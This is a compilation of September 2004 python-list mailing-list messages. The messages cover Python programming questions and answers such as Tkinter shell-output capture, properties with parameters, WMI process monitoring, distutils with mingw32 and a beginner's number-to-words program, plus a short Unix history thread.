+    		self._ascent = pfm.get_ascent() / pango.SCALE
+    		self._descent = pfm.get_descent() / pango.SCALE
+    	return pfm
     
     def width(self, s, start = 0, end = sys.maxint):
         gdk_width = self._get_gdk_font().width


From dperl at rogers.com  Wed Sep  1 01:28:56 2004
From: dperl at rogers.com (Dan Perl)
Date: Wed, 01 Sep 2004 05:28:56 GMT
Subject: File System
References: <10j7r3cflo61680@corp.supernews.com>
	<mailman.2656.1093944977.5135.python-list@python.org>
	<41345966.3020103@mxm.dk>
Message-ID: <s6dZc.142301$UTP.29500@twister01.bloor.is.net.cable.rogers.com>

I only know that Zope is an application server.  Which part of it is the
model for the object oriented filesystem?  I'm really interested.  Can you
point me to a link?

Thanks,

Dan

"Max M" <maxm at mxm.dk> wrote in message news:41345966.3020103 at mxm.dk...
> Aaron Bingham wrote:
> > Hello Maboroshi,
> >
> > You are not the first to think that there might be an alternative to the
> > filesystem.  Here are a few links to sites for projects where
> > filesystems have been rethought or eliminated in very different ways.
> > Most of this is unfortunately vaporware.  This is by no means a complete
>
> No, you forgot www.zope.org
>
> Especially Zope 3
>
> This could easily be seen as a model for an object oriented filesystem.
>
>
> regards Max M




From FBatista at uniFON.com.ar  Wed Sep 29 10:59:31 2004
From: FBatista at uniFON.com.ar (Batista, Facundo)
Date: Wed, 29 Sep 2004 11:59:31 -0300
Subject: how to get files in a directory
Message-ID: <A128D751272CD411BC9200508BC2194D053C7A02@escpl.tcp.com.ar>

[Anand K Rayudu]

#- for root,dir,files in os.walk("E:\myDir1\MyDir2"):
#-    for i in dir:
#-        for j in files:
#-            fille = root+i+j
#-             print file
#- 

Maybe you should be using paths like "E:\\myDir1\\MyDir2".

.	Facundo


From nytimes at swiftdsl.com.au  Fri Sep 17 20:51:25 2004
From: nytimes at swiftdsl.com.au (huy)
Date: Sat, 18 Sep 2004 10:51:25 +1000
Subject: Python Webstart ?
In-Reply-To: <O7OdncbCX_O7gtbcRVn-vQ@giganews.com>
References: <414acdc8$0$2404$61ce578d@news.syd.swiftdsl.com.au>
	<pan.2004.09.17.13.52.16.705912@thomas-guettler.de>
	<c8E2d.16815$QJ3.1403@newssvr21.news.prodigy.com>
	<O7OdncbCX_O7gtbcRVn-vQ@giganews.com>
Message-ID: <414b8697$0$2405$61ce578d@news.syd.swiftdsl.com.au>

Istvan Albert wrote:

> John Fabiani wrote:
> 
>> Actually it's very useful.  In the Java world you can set a central 
>> location
>> that a webstart program checks for possible updates.  It's very cool.
> 
> 
> Only that it doesn't really work in practice. Read more here:
> 
> http://www.dynamicobjects.com/d2r/archives/2004_07_09.html
> 
> 
> Istvan

Thanks for the link Istvan. The article is very informative, but I'm 
afraid I've used JWS extensively without such troubles. It's all about 
training and managing user expectation. We had a very smooth rollout and 
seamless upgrades now are paying many times over for the initial 
investment in particular management of the initial installation.

Read the comments, there are some great tips on making it work. As I 
said in my other posts. It isn't the initial automated installation 
which is most important to me, but the longer term automatic upgrading 
(which happens much more frequent over the years).

Huy


From bradtilley at usa.net  Wed Sep 15 17:19:45 2004
From: bradtilley at usa.net (Brad Tilley)
Date: Wed, 15 Sep 2004 17:19:45 -0400
Subject: See exactly what a function has returned
In-Reply-To: <10kh7o27c6bu898@corp.supernews.com>
References: <ci9tfk$71t$1@solaris.cc.vt.edu>
	<tr6dnRbHkq4J5tXcRVn-gQ@powergate.ca>
	<ci9u7e$7u0$1@solaris.cc.vt.edu>
	<10kh7o27c6bu898@corp.supernews.com>
Message-ID: <4148B1F1.3010801@usa.net>

Jeff Shannon wrote:
> Brad Tilley wrote:
> 
>>
>> def print_whats_returned(function):
>>     ## A function that shows what another function has returned
>>     ## as well as the 'type' of the returned data.
>>     print function
>>     print type(function)
>>
>> def send_net_params_to_admin(ip_param, port_param):
>>     ip = get_server_ip()
>>     port = get_server_port()
>>     return ip, port
>>
>> print_whats_returned(send_net_params_to_admin(get_server_ip(), 
>> get_server_port()))
> 
> 
> 
> Note here that the argument to print_whats_returned() is *not* a 
> function; it is the value returned from a function.  You're not passing 
> the function send_net_params_to_admin();  you're passing whatever is 
> returned from it.  It is effectively equivalent to the following:
> 
>    return_value = send_net_params_to_admin(get_server_ip(), 
> get_server_port())
>    print_whats_returned(return_value)
> 
> Thus, your function would be much more clear with different names, since 
> it really has nothing to do with functions.
> 
>    def print_value_and_type(value):
>        print value
>        print type(value)
> 
> With these names, you wouldn't have had all of these people talking 
> about dynamic typing and such, because it would've been clear that 
> you're not attempting to find the intended return value of a theoretical 
> future function call, but rather trying to inspect the actual value 
> that's already been returned by a previously-executed function call.
> And no, there isn't really an easier way to do this.  :)
> 
> Jeff Shannon
> Technician/Programmer
> Credit International

Thanks Jeff,

You said what I was trying to say better than I could say it. I'm not
crazy after all... just picked the wrong words. This made sense to me at
first, then everyone said, "You can't do that," and I was almost at the
point of believing them when you posted. ;)

Brad




From ajsiegel at optonline.com  Sat Sep  4 07:49:05 2004
From: ajsiegel at optonline.com (Arthur)
Date: Sat, 04 Sep 2004 11:49:05 GMT
Subject: Tuple question
References: <41374a65$0$22750$db0fefd9@news.zen.co.uk>
	<0qKdnZXAHfyPyKrcRVn-sg@powergate.ca>
	<mailman.2783.1094152072.5135.python-list@python.org>
	<M53NBls/KL8E089yn@the-wire.com> <87acw86she.fsf@uwo.ca>
	<1094189336.822541@yasure>
	<KwYZc.3303$Wv5.1119@newsread3.news.atl.earthlink.net>
	<1094268184.524370@yasure>
Message-ID: <RYh_c.4387$Wv5.1238@newsread3.news.atl.earthlink.net>


"Donn Cave" <donn at drizzle.com> wrote in message
news:1094268184.524370 at yasure...
> Quoth "Arthur" <ajsiegel at optonline.com>:
> | ... In a dynamic app, append and
> | ordered access solves a set of problems that may or may not be
reasonablely
> | conceptualized as related to homogeneity. So any attempt to describe
> | anything about lists vs. tuples in terms of its data content always in
the
> | end seems unnecessarily reductionist, IMO - if that's the right word.
>
> Say, have we been here before?

Have we? ;)

>Remember, it really isn't about the
> data content considered separately, rather the synthesis of structure
> and data.

Yes.  I slipped. Continuing to discuss the issue in terms of homogenuity ane
hetereogenuity (in any sense) seems unnecessarily reductionist, IMO - if
that's the right word.

That Guido conceptualizes in some hard to define way related to these
concepts may in fact explain why things are as they are..

And I guess some of the questions that lead into to these discussions are
more of the "why are things as they are", rahter than anything related to
the practical use of lists and tuples.  And in the contgext of the question
of "why things are as they are" it is hard to avoid discussion of
homogenuity and hetereogenuity - which is really mostly an attempt to psyche
out Guido's reasoning.

I guess I don't do PEPs, becuase I am a humble user - more interested in
picking things up once they are, and as they are - and accomplishing what I
need to accomplish

I certainly *don't* think the concepts of homogenuity and hetereogenuity
help a twit.

A clue about perfromance issues arounds tuples vs. lists is *much* more
interesting to me - for example.

Even a 20%-er.

Art




From Scott.Daniels at Acm.Org  Wed Sep 22 19:17:16 2004
From: Scott.Daniels at Acm.Org (Scott David Daniels)
Date: Wed, 22 Sep 2004 16:17:16 -0700
Subject: distutils and mingw32
In-Reply-To: <Xns956D6789FBC0cliechtigmxnet@62.2.16.4>
References: <4151f3f8$1@nntp0.pdx.net>
	<Xns956D6789FBC0cliechtigmxnet@62.2.16.4>
Message-ID: <41520c67@nntp0.pdx.net>

Chris Liechti wrote:
> Scott David Daniels <Scott.Daniels at Acm.Org> wrote in 
> news:4151f3f8$1 at nntp0.pdx.net:
> 
> 
>>I'm trying to get distutils in 2.4 happy running mingw32.  I've chased
>>a few things down, but now I'm getting:
>>C:\Documents and Settings\daniels\Desktop\Py\block>\python24\python 
>>setup.py build_ext -cmingw32
> 
> ...
> 
>>undefined reference to `_imp__PyExc_TypeError'
> 
> 
> my guess is that the import library (libpython24.a) is missing or not 
> correct. did you create one with pexports?
> 
> you know this one?
> http://www.python.org/doc/current/inst/tweak-flags.html (bottom of the 
> page)
> 
> chris
> 
> 
Thanks.  I'll try that out tonight.

-Scott David Daniels
Scott.Daniels at Acm.Org


From PMD96 at comcast.net  Sat Sep 18 11:32:36 2004
From: PMD96 at comcast.net (PMD96)
Date: Sat, 18 Sep 2004 11:32:36 -0400
Subject: New Programmer and Python
Message-ID: <_NidnfFXMMGVyNHcRVn-hg@comcast.com>

I'm new to programming and have been recommended to start with Python.  I've 
reviewed the tutorial and am looking for additional learning tools to learn 
programming and Python.  Any recommendations? 




From klappnase at web.de  Thu Sep  9 15:39:47 2004
From: klappnase at web.de (klappnase)
Date: 9 Sep 2004 12:39:47 -0700
Subject: TKinter + display of a shell command return
References: <chn0pr$tr7$1@biggoron.nerim.net>
	<chn98b$9gr$1@news-reader1.wanadoo.fr>
	<chnlg9$199t$1@biggoron.nerim.net>
Message-ID: <a7a67196.0409091139.19db85c@posting.google.com>

"Yann.K" <yk.suse at bullier.org> wrote in message news:<chnlg9$199t$1 at biggoron.nerim.net>...
> 
> Yes, really it run great but no as i would!
> For long process, the display wait the end of the script execution to
> display all the lines of the mesage.
> 
> I would that the lines appears as soon as the shell putt the message.
> So; if the treatment is very long (ie 10 min), the line of the message
> appears every second (in fact h*just when they are forwarder from the
> shell.
> 
> I would display the shell return like an "tail -f syslog" command on
> linux...
> I hope to be clearer...
> 
> Thanks for your help,

You can use a tk filehandler to capture the output stream of a shell
command.
Here's a code snippet I used to display the output of a shell command
in a text widget:

from Tkinter import *
import fcntl, popen2, os

    (...)
    self.text.insert('end', '\nExecuting :\n' + cmd + '\n\n')
    self.pp = popen2.Popen4(cmd)
    # cmd is of course the shell command
    self.mkfilehandler(self.pp, self.get_msg)

    def mkfilehandler(self, popen4object, function):
        fileobject = popen4object.fromchild
        filedescr = fileobject.fileno()
        fcntl.fcntl(filedescr, fcntl.F_SETFL, os.O_NONBLOCK)
        tkinter.createfilehandler(fileobject, READABLE, function)

    def get_msg(self, fileobject, mask):
        msg = self.pp.fromchild.read()
        if msg == '':
            p = self.pp.poll()
            if p != -1:
                tkinter.deletefilehandler(self.pp.fromchild)
                self.pp = None
                if p == 0:
                    tkMessageBox.showinfo(...)
                else:
                    tkMessageBox.showerror(...)
        else:
            self.text.insert('end', msg)

This works well at least on linux, on windows the createfilehandler()
method may not be available:

http://mail.python.org/pipermail/python-list/2002-February/089526.html

More information on createfilehandler() can be found at:

http://www.python.org/doc/faq/gui.html#id14

I hope this helps

Michael


From abra9823 at mail.usyd.edu.au  Fri Sep 17 10:51:46 2004
From: abra9823 at mail.usyd.edu.au (Ajay)
Date: Sat, 18 Sep 2004 00:51:46 +1000
Subject: gui - wait for dialog to close
In-Reply-To: <WtC2d.22189$r46.4964@newssvr29.news.prodigy.com>
References: <mailman.3442.1095420495.5135.python-list@python.org>
	<WtC2d.22189$r46.4964@newssvr29.news.prodigy.com>
Message-ID: <1095432706.414afa02e60b7@www-mail.usyd.edu.au>

i am using Tkinter
could you expand on that modal stuff

cheers


Quoting John Fabiani <jfabiani at yolo.com>:

> Ajay wrote:
>
> > hi!
> >
> > i have an application which requires a username
> > what i am trying to do is when the application runs, a dialog window
> > appears which prompts the user for his name. once thats entered, the
> > dialog box is destroyed, the username stored and the application gui
> is
> > drawn
> >
> > i tried doing this by adding a wait_window call in my application
> GUI's
> > init.
> > the idea was to suspend execution till the username is entered and the
> > dialog box destroyed before continuing.
> >
> > that didn't work
> > how can i do this? i have the option of creating the dialog box and
> when
> > the username is entered then in the function that handles the
> username,
> > create the rest of the GUI. i was wondering if there is any other way
> >
> > thanks
> >
> > cheers
> >
> >
> >
> >
> > ----------------------------------------------------------------
> > This message was sent using IMP, the Internet Messaging Program.
> You did not state which GUI lib you are using.  But in general you use a
> modal dialog for that type of input.  Before you delete the dialog read
> the
> fields in the dialog.
>
> John
> --
> http://mail.python.org/mailman/listinfo/python-list
>


----------------------------------------------------------------
This message was sent using IMP, the Internet Messaging Program.


From elbertlev at hotmail.com  Fri Sep 10 08:27:30 2004
From: elbertlev at hotmail.com (Elbert Lev)
Date: 10 Sep 2004 05:27:30 -0700
Subject: Shorter checksum than MD5
References: <nJU%c.241102$VH2.12288041@phobos.telenet-ops.be>
	<mailman.3101.1094738196.5135.python-list@python.org>
Message-ID: <9418be08.0409100427.2e6a8481@posting.google.com>

> For your application, you should consider the total number of records
> you ever expect to have, and use more than 2 * lg(records) bits of hash.
> Due to the so-called "birthday paradox", when you have N possible hash
> values, two will be identical with 50% probability with around sqrt(N)
> items.  You'd probably prefer that the probability be much lower in your
> application, since a collision will result in incorrect results.
> 

Wrong! "birthday paradox" is not applicable here. 

If you want an analogy with this combinatorial problem, imagine 2 rows with N 
objects in each, There exists a "measure" of each object. 
Some objects can be modified with probability 1/2**32 
the  measure will not change after modification. 
Objects in the SAME POSITION in each row are compared by comparing their measures.

After M objects are modified what is the probability that 
at least one modification will be "missed" by the comparison process. 
I don't think, that in the foreseen future (if M and N are not too high) 
such collision will occur.


From bokr at oz.net  Mon Sep 13 13:56:04 2004
From: bokr at oz.net (Bengt Richter)
Date: 13 Sep 2004 17:56:04 GMT
Subject: Property with parameter...
References: <mailman.3221.1095062393.5135.python-list@python.org>
	<1gk1sn7.mbsc0o17dm56rN%aleaxit@yahoo.com>
Message-ID: <ci4mvk$mli$0$216.39.172.122@theriver.com>

On Mon, 13 Sep 2004 11:09:07 +0200, aleaxit at yahoo.com (Alex Martelli) wrote:

>kepes.krisztian <kepes.krisztian at peto.hu> wrote:
>
>> Hi !
>> 
>> I want to create a property that can use parameter(s).
>> In Delphi I can create same thing (exm: Canvas.Pixel[x,y] -> 
>> Canvas.GetPixel(self,X,Y):integer; Canvas.SetPixel(self,X,Y,Color::integer);
>> 
>> class A(object):
>>       def __init__(self):
>>           self.__Tags={}
>>       def GetTag(self,tname):
>>           return self.__Tags.get(tname,None)
>>       def SetTag(self,tname,value):
>>           self.__Tags[tname]=Value
>>       Tag=property(GetTag,SetTag)
>> 
>> a=A()
>> print a.Tag('A')
>> print a.Tag['A']
>> 
>> But it is seems to be not possible in this way.
>
>Have your get method return an instance of an auxiliary class which
Why a get method when a.Tag can return the aux class instance as a plain attribute?
(other than that the OP mentioned 'property' and might want to protect
against a.Tag = 23 ;-) E.g. See below.

>implements __getitem__ and __setitem__ (if you want to use square
>brackets; if you want to use round parentheses, then __call__, but
>beware -- you can't have a bare call on the left of an assignment!!!).
>
>For example, a small refactoring of your attempt might be:
>
>class A(object):
>
>      def __init__(self):
>          self.__Tags={}
>          self.__TagsAccessor = None
>
>      def getTagsAccessor(self):
>          if not self.__tagsAccessor:
>              def getter(__, tname):
>                  return self.__Tags.get(tname, None)
>              def setter(__, tname, value):
>                  self.__Tags[tname] = value
>              class TagAccessor: pass
>              TagAccessor.__getitem__ = getter
>              TagAccessor.__setitem__ = setter
>              self.__TagsAccessor = TagAccessor()
>          return self.__TagsAccessor
>      Tag = property(getTagsAccessor)
>
>Now, you can use such code as:
>
>a = A()
>print a.Tag['foo']
>a.Tag['foo'] = 'barbaz'
>print a.Tag['foo']
>
>Note that we define no setter at all for Tag.  This means that, e.g.:
>
>a.Tag = 23
>
>will raise "AttributeError: can't set attribute".  The way we coded,
>a.Tag MUST be indexed when used on the left of an = sign in an
>assignment.  If that's not what you want -- if you do want to allow
>assigning to bare a.Tag without an index -- then, and only then, write 
>a setTagsAccessor and give it whatever semantics you wish, and pass it
>as the second argument in the call to property.
>
>Of course, you can refactor this basic idea in many different ways.  I
>have used closures for getter and setter so as to finesse any trouble
>with your use of leading double underscore, though that means that the
>first argument of getter and setter CAN'T be named self (I used __ to
>indicate I mean to ignore that argument...), but there are many other
>possibilities, such as a more general TagAccessor class which takes
>self.__Tags in its __init__, etc, etc.  You could even choose to use a
>custom descriptor class instead of the built-in property, but I don't
>think that's warranted if all you need is what you have expressed.
>
If the OP doesn't need to protect against a.Tag = 23 etc., seems like a
separate class for Tag might be simplest for him? I.e.,

 >>> class TagClass(object):
 ...     def __init__(self): self.__Tags = {}
 ...     def __getitem__(self, k): return self.__Tags.get(k, None) # per OP
 ...     def __setitem__(self, k, v): self.__Tags[k] = v
 ...
 >>> class A(object):
 ...     def __init__(self): self.Tag = TagClass()
 ...

Then
 >>> a=A()
 >>> a.Tag[2,3] = 'two, three'
 >>> a.Tag[2,3]
 'two, three'
 >>> a.Tag
 <__main__.TagClass object at 0x00901210>
 >>> vars(a)
 {'Tag': <__main__.TagClass object at 0x00901210>}
 >>> vars(a.Tag)
 {'_TagClass__Tags': {(2, 3): 'two, three'}}

For me, capitalized attributes kind of grate on the convention nerve though ;-)

Regards,
Bengt Richter


From tim.golden at viacom-outdoor.co.uk  Wed Sep 15 04:13:37 2004
From: tim.golden at viacom-outdoor.co.uk (Tim Golden)
Date: Wed, 15 Sep 2004 09:13:37 +0100
Subject: Communication between remote scripts
Message-ID: <F1921F85572CB04D9F55B14BDC76B3E4434A84@iron.ima.umn.edu>

| -----Original Message-----
| From: python-list-bounces+tim.golden=viacom-outdoor.co.uk at python.org
| [mailto:python-list-bounces+tim.golden=viacom-outdoor.co.uk at py
| thon.org]O
| n Behalf Of claird at lairds.us
| Sent: 14 September 2004 22:08
| To: python-list at python.org
| Subject: Re: Communication between remote scripts
| 
| 
| In article <mailman.3305.1095168708.5135.python-list at python.org>,
| Tim Golden  <tim.golden at viacom-outdoor.co.uk> wrote:
| >| In article <MPG.1bb0b7d621a77bc598968c at news2.atlantic.net>, 
| >| secun at yahoo.com says...
| >| > I have a python script (A) that monitors a process (3rd 
| >| party) on the 
| >| > local machine (Windows).
| >| > 
| >| > I would like to create a second program on a remote Windows 
| >| computer 
| >| > that receives an update from program A periodically 
| (maybe every 10 
| >| > minutes or so), and tells it everything is running without 
| >| a problem.
| >| > 
| >| > Can anyone recommend a good (and preferably simple) way for 
| >| two programs 
| >| > to communicate on a network? 
| >
| >| Am I correct in saying that remote objects are not really 
| needed for 
| >| this?
| >
| > [... snip my suggestions ...]
| 			.
| Nice description.
| 
| If the problem involved just a bit more information and variability
| than a heartbeat, I'd start to recommend async and/or Twisted.

In fact, given a certain interpretation of the description (remote 
monitoring of a running process) it might well be possible to do
the whole thing in WMI. I have certainly had scripts running on my
machine to monitor the progress of processes on several of the servers 
here. Depends what's needed exactly.

If, for example, you only needed to know if the process had
crashed, the following -- extremely crude -- code could be
adapted:

<code>

import wmi
c = wmi.WMI ()
watcher = c.watch_for (
  notification_type="Deletion", 
  wmi_class="Win32_Process", 
  Name="Notepad.exe"
)
np = watcher ()

print np

</code>

If you needed something more subtle, for example, checking
whether the process is running away, or running at all, you
can use the same technique, but specifiying Modification
rather than Deletion as the notification type etc.

TJG

________________________________________________________________________
This e-mail has been scanned for all viruses by Star. The
service is powered by MessageLabs. For more information on a proactive
anti-virus service working around the clock, around the globe, visit:
http://www.star.net.uk
________________________________________________________________________


From clifford.wells at comcast.net  Sun Sep 19 03:18:21 2004
From: clifford.wells at comcast.net (Cliff Wells)
Date: Sun, 19 Sep 2004 00:18:21 -0700
Subject: Determining if a client PC has an Internet connection
Message-ID: <1095578301.31957.263.camel@devilbox.devilnet.internal>

Hi,

I'm writing an application that needs to know if an Internet connection
is available.  Basically, I want to have something similar to what a lot
of email clients have, where the app can work either in "online" or
"offline" mode (it keeps a cache of downloaded info, so it can work
without a connection if needed).

The basic problem is this: it downloads info (RSS feeds) from a variety
of sources.  Any one (or more) of these could conceivably fail to
download, so simply waiting for a timeout isn't sufficient (not easy to
differentiate between having a bad server and the client not having a
connection).  Further, if it waits (say 30s) for the timeout to occur,
this is going to be a bit annoying to the user.

I've considered trying to connect to a stable host (i.e. Google) and if
that fails then assume the client can't connect to the internet, but
this seems like a sub-optimal solution.

Is there any way to reliably determine the state of the client's
internet connectivity?

Regards,
Cliff

-- 
Cliff Wells <clifford.wells at comcast.net>



From tungwaiyip at yahoo.com  Tue Sep  7 12:33:31 2004
From: tungwaiyip at yahoo.com (Wai Yip Tung)
Date: Tue, 07 Sep 2004 09:33:31 -0700
Subject: has anyone done a blog or forum engine in python?
References: <e84f5d12.0409060445.73d6cffd@posting.google.com>
Message-ID: <opsdytl5w0433nmu@news.cisco.com>

On 6 Sep 2004 05:45:52 -0700, googleboy <mynews44 at yahoo.com> wrote:

> Hiya.
>
> I am looking at implementing a blog and a forum for a personal
> website.  I am also beginning to look at growing my programming skills
> from newbie/mediocre to intermedaitely servicable and want to continue
> doing this focussing on python.
>
> It would be cool to find projects in python with code I can refer to.
>
> Regards,
>
> googleboy


My blog [http://tungwaiyip.info/] is built using pyblosxom  
[http://roughingit.subtlehints.net/pyblosxom/]. It is a very small and  
customizable Python library.


From godoy at ieee.org  Fri Sep 17 12:53:19 2004
From: godoy at ieee.org (Jorge Godoy)
Date: Fri, 17 Sep 2004 13:53:19 -0300
Subject: Python Webstart ?
References: <414acdc8$0$2404$61ce578d@news.syd.swiftdsl.com.au>
	<mailman.3460.1095435595.5135.python-list@python.org>
	<414b0d22$0$2414$61ce578d@news.syd.swiftdsl.com.au>
Message-ID: <m3llf8ygzk.fsf@g2ctech.com>

huy <nytimes at swiftdsl.com.au> writes:

> Well not really. I don't mind doing one installation of a
> (Python/Java) webstart. However, it's the automatic update of the
> actual application software which I find most useful. The alternative
> using p2exe or pyfreeze will require me to distribute the (potentially
> large) binaries manually. For hundreds of terminals, this is not gonna
> be good, especially in an iterative environment.

A network drive is not an option?  I use that with several software.  I
just update one copy and everybody has an updated copy of the software
the next time they run it.

What I miss is the option to update the already running clients when
they instantiate the class again, but then, this would probably include
performance penalties when there are no changes. 

> That's an option but I don't quite trust using jython for a full blown
> application. I use it mainly for unittesting at the moment.

Have you found any problems with it?  I think that some missing CPython
modules prevented me to give it more attention, but now I don't even
remember which ones... :-(

-- 
Godoy.     <godoy at ieee.org>


From michaels at rd.bbc.co.uk  Tue Sep 14 08:15:25 2004
From: michaels at rd.bbc.co.uk (Michael Sparks)
Date: Tue, 14 Sep 2004 13:15:25 +0100
Subject: check for unused ports and then grab one
References: <ci502a$e77$1@solaris.cc.vt.edu>
	<9-adnWpzmJ90itvcRVn-vA@powergate.ca>
Message-ID: <ci6o95$ssu$1@nntp0.reith.bbc.co.uk>

Peter Hansen wrote:
...
> I'm curious what you are trying to do though.  Normally a server
> has to listen on a predefined port or the clients won't be able
> to connect, and a client doesn't need to specify which port it
> will bind to as the OS will pick a free one automatically.  I've
> never had to do what you are trying to do, thus my curiosity...

One place where it is useful in an non-passive FTP client. IE It needs
to allow the server to connect back to an port on the client for
transfer of data. The client tells the server the IP/port number, and
since the client doesn't normally have one of these open it's often
useful just to let the local TCP stack allocate the port number, find
out what it is and tell the server.

Regards,


Michael.
-- 
Michael.Sparks at rd.bbc.co.uk    
British Broadcasting Corporation, Research and Development
Kingswood Warren, Surrey KT20 6NP

This message (and any attachments) may contain personal views
which are not the views of the BBC unless specifically stated.




From janimal at mail.trillegaarden.dk  Tue Sep 28 10:36:24 2004
From: janimal at mail.trillegaarden.dk (Ling Lee)
Date: Tue, 28 Sep 2004 16:36:24 +0200
Subject: Problem with a dictionary program....
References: <415966e1$0$23075$ba624c82@nntp05.dk.telia.net>
	<2rt8rsF1ej1qmU1@uni-berlin.de>
Message-ID: <415976d1$0$23090$ba624c82@nntp05.dk.telia.net>

Thanks Russell Blau, its smart to tjeck for it is really is an integer that 
the user types in :)

I have read the tutorial, but still its a bit hard for me to see how I make 
the loop and how I count the lengt of the number. When I use the len(input) 
I get the reply:  Error len() of unsized object. Think that is why len() 
only works on dictionaries and lists, not strings.

indput = raw_input(" Tell me the number you want to transform to textuel 
representaion")
try:
    indput = str(int(indput))
except ValueError:
    print "No, you need to give me an integer."

This works fine.

But how do i then count the length of the number and make the loop: My goal 
was to:

" I'm trying to write a small program that lets you put in a number as an
integer and then it tells you the textuel representation of the number.

Like if your input is 42, it will say four two.

I found out that I have to make a dictionary like this: List = { 1:"one",
2:"two" and so on )

After I have gotten the lenght of the string, I will write a loop, that goes
through the dictionary as many times as the lengt of the string, and the
gives me the corresponding numbers, the numner 21 would go 2 times through
the loop and give me the output two one.

Sorry to ask this easy questions, but think that things really would make 
sense for me after this little
program is done. I have a lot easier to grasp the magic of pragramming 
through looking at programs than
to read tutorials about it....

Thanks

"Russell Blau" <russblau at hotmail.com> wrote in message 
news:2rt8rsF1ej1qmU1 at uni-berlin.de...
> "Ling Lee" <janimal at mail.trillegaarden.dk> wrote in message
> news:415966e1$0$23075$ba624c82 at nntp05.dk.telia.net...
>>
>> and I have to use the raw_input method to get the number:
>>
>> indput : raw_input(" Tell me the number you want to transform to textuel
>> representaion")
>>
>> The I have to transform the input to a string
>> indput = str(indput)
>
> Actually, the value returned by raw_input() *is* a string, but you might
> want to check to see whether the user has actually typed in an integer as
> opposed to typing, say, "Go away you stupid computer."
>
> try:
>    indput = str(int(indput))
> except ValueError:
>    print "No, you need to give me an integer."
>
>> Will one of you be so kind and tell me how I count the lengt of the 
>> indput
>> number i was thinking on something like input.count[:] but that dosnt
>> work...
>
> You could consider using the built-in function len().
>
>
> -- 
> I don't actually read my hotmail account, but you can replace hotmail with
> excite if you really want to reach me.
>
> 




From thomas.krueger at gmx.net  Wed Sep  1 11:17:15 2004
From: thomas.krueger at gmx.net (Thomas =?ISO-8859-1?Q?Kr=FCger?=)
Date: Wed, 01 Sep 2004 17:17:15 +0200
Subject: Python cannot use SMTP...
References: <70l2zhex3h4i$.vnwm6z03abbm.dlg@40tude.net>
	<ch4jqm$ju3$03$1@news.t-online.com>
	<1i04cqxwzoane.1915vlaurzzbl$.dlg@40tude.net>
Message-ID: <ch4p5u$q6o$03$1@news.t-online.com>

JZ wrote:

> tcp        0      0 216.93.188.184:25       0.0.0.0:*               LISTEN
> 7910/xinetd

Port 25 is handled by the xinetd. There may be a wrapper around it.
What program will be started on connetion to port 25?
See the /etc/xinet.d/ folder to find it out.

You may also try to send mail to 216.93.188.184 instead of localhost

Thomas


From baklarz at z.pl  Wed Sep  1 18:09:51 2004
From: baklarz at z.pl (baklarz)
Date: Wed, 1 Sep 2004 22:09:51 +0000 (UTC)
Subject: How to learn to use python with Excel
References: <9048dfd6.0409011402.51f0bc66@posting.google.com>
Message-ID: <slrncjci5e.5gu.baklarz@kastor.ds.pg.gda.pl>

On 2004-09-01, Xiao-Qin Xia <xxia at skcc.org> wrote:
> I don't like VBA, and want to use python to work with Excel. Does
> anybody recommend some good documents to begin with?
>
> Many thanks,
>
> Xiao-Qin
http://www.reportlab.com/ftp/talks/PythonWindowsTutorial.doc
-- 
Tomasz Drobiszewski		
idkfa at gazeta.usun.spam.pl	


From tim.peters at gmail.com  Fri Sep  3 00:09:18 2004
From: tim.peters at gmail.com (Tim Peters)
Date: Fri, 3 Sep 2004 00:09:18 -0400
Subject: Recursive Generator Question
In-Reply-To: <87u0ug3tam.fsf@uwo.ca>
References: <6543373d.0409021839.5caff11d@posting.google.com>
	<87u0ug3tam.fsf@uwo.ca>
Message-ID: <1f7befae04090221094c154cc5@mail.gmail.com>

[Dan Christensen]
...
>    def __iter__(self): 
>        if self.data != None:
>            yield self.data
>        for child in self.children:
>            if child != None:
>                for terminal in child:
>                    yield terminal

...

> To the experts:  I don't recall seeing __iter__ be a generator like
> this before.  How would you code it?

The way you did.  A generator *is* a (one kind of) iterator, so it's
fine to use a generator anywhere an iterator is desired. 
(Technically, the __iter__ method there is called a
generator-function, and the thing it returns is called a
generator-iterator.)


From jmfbahciv at aol.com  Thu Sep  2 08:01:19 2004
From: jmfbahciv at aol.com (jmfbahciv at aol.com)
Date: Thu, 02 Sep 04 12:01:19 GMT
Subject: Xah Lee's Unixism
References: <7fe97cc4.0408251356.34f2102a@posting.google.com>
	<1gj5eeq.gb3dk41wup9zwN%otto.wyss@orpatec.ch>
	<87hdqptl96.fsf_-_@thalassa.informatimago.com>
	<4PGdnfsOfdDPi63cRVn-tA@speakeasy.net>
	<slrncj1745.t5q.amajorel@atc5.vermine.org>
	<41337FC9.8070902@hotmail.com>
	<slrncj7hhh.2pt.amajorel@atc5.vermine.org>
	<p7v7j0plcfbden593l1irfprmfkp4d3k51@4ax.com>
	<slrncj8m5n.2pt.amajorel@atc5.vermine.org>
	<%T%Yc.29567$Es2.11957889@news4.srv.hcvlny.cv.net>
	<2mmdj0t6mjgif88en11skbo3n8uiuj46nc@4ax.com>
Message-ID: <41371e5c$0$19723$61fed72c@news.rcn.com>

In article <2mmdj0t6mjgif88en11skbo3n8uiuj46nc at 4ax.com>,
   Brian Inglis <Brian.Inglis at SystematicSW.Invalid> wrote:
>On Tue, 31 Aug 2004 14:26:03 GMT in alt.folklore.computers, "John W.
>Kennedy" <jwkenne at attglobal.net> wrote:
>
>>Andre Majorel wrote:
>>> On 2004-08-31, Brian Inglis <Brian.Inglis at SystematicSW.Invalid> wrote:
>>> 
>>>>On Tue, 31 Aug 2004 01:12:55 +0000 (UTC) in alt.folklore.computers,
>>>>Andre Majorel <amajorel at teezer.fr> wrote:
>>>>
>>>>
>>>>>On 2004-08-30, Antony Sequeira <usemyfullname at hotmail.com> wrote:
>>>>
>>>>>>Windows (MS) is not 'Unixism'?
>>>>>
>>>>>If by unixism, you mean any operating system that has a
>>>>>hierarchical filesystem and byte stream files, yes. But that
>>>>>would include quite a few other non-Unix operating systems,
>>>>>including Mac OS 9, Prologue and probably everything else this
>>>>>side of CP/M (DOS 1.x shall be deemed to be CP/M).
>>>>
>>>>DOS 2.x+ shall be deemed to be CP/M+! 
>>> 
>>> 
>>> Wasn't it in version 2 that they added directories and
>>> Unix-style file handles ?
>>
>>Yes, and also a single-process pipe emulator.  Ever since 2.0, MS has 
>>been trying to turn MS-DOS (later, Windows) into a Unix clone.
>
>MS has been borrowing code from Unix to create a real OS: TCP/IP;
>NTFS<-ffs; memory mapped files<-mmap.

All right.  Now I'm mystified.  Why did they have to borrow code
from Unix?  They already had VMS.  ISTM, VMS had all of the 
above.
 
>Shame they keep trying to add their own ideas in too: that must be
>what causes the crashes! 

